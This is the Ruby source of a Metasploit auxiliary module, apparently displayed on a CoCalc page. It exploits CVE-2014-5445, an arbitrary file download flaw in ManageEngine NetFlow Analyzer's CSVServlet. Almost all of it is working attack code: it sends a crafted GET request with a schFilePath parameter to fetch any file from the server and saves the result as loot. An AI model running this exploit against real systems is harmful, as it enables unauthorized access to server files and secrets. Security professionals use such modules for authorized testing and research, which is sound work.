CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Report
8
  include Msf::Exploit::Remote::HttpClient
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
15
        'Description' => %q{
16
          This module exploits an arbitrary file download vulnerability in CSVServlet
17
          on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
18
          and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you
19
          must escape the backslash with a backslash.
20
        },
21
        'Author' => [
22
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
23
        ],
24
        'License' => MSF_LICENSE,
25
        'References' => [
26
          [ 'CVE', '2014-5445' ],
27
          [ 'OSVDB', '115340' ],
28
          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ],
29
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ]
30
        ],
31
        'DisclosureDate' => '2014-11-30'
32
      )
33
    )
34

35
    register_options(
36
      [
37
        Opt::RPORT(8080),
38
        OptString.new('TARGETURI',
39
                      [ true, 'The base path to NetFlow Analyzer', '/netflow' ]),
40
        OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']),
41
      ]
42
    )
43
  end
44

45
  def run
46
    # Create request
47
    begin
48
      print_status("Downloading file #{datastore['FILEPATH']}")
49
      res = send_request_cgi({
50
        'method' => 'GET',
51
        'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
52
        'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }
53
      })
54
    rescue Rex::ConnectionError
55
      print_error('Could not connect.')
56
      return
57
    end
58

59
    # Show data if needed
60
    if res && res.code == 200
61
      if res.body.to_s.bytesize == 0
62
        print_error('0 bytes returned, file does not exist or it is empty.')
63
        return
64
      end
65
      vprint_line(res.body.to_s)
66
      fname = File.basename(datastore['FILEPATH'])
67

68
      path = store_loot(
69
        'netflow.http',
70
        'application/octet-stream',
71
        datastore['RHOST'],
72
        res.body,
73
        fname
74
      )
75
      print_good("File saved in: #{path}")
76
    else
77
      print_error('Failed to download file.')
78
    end
79
  end
80
end
81

82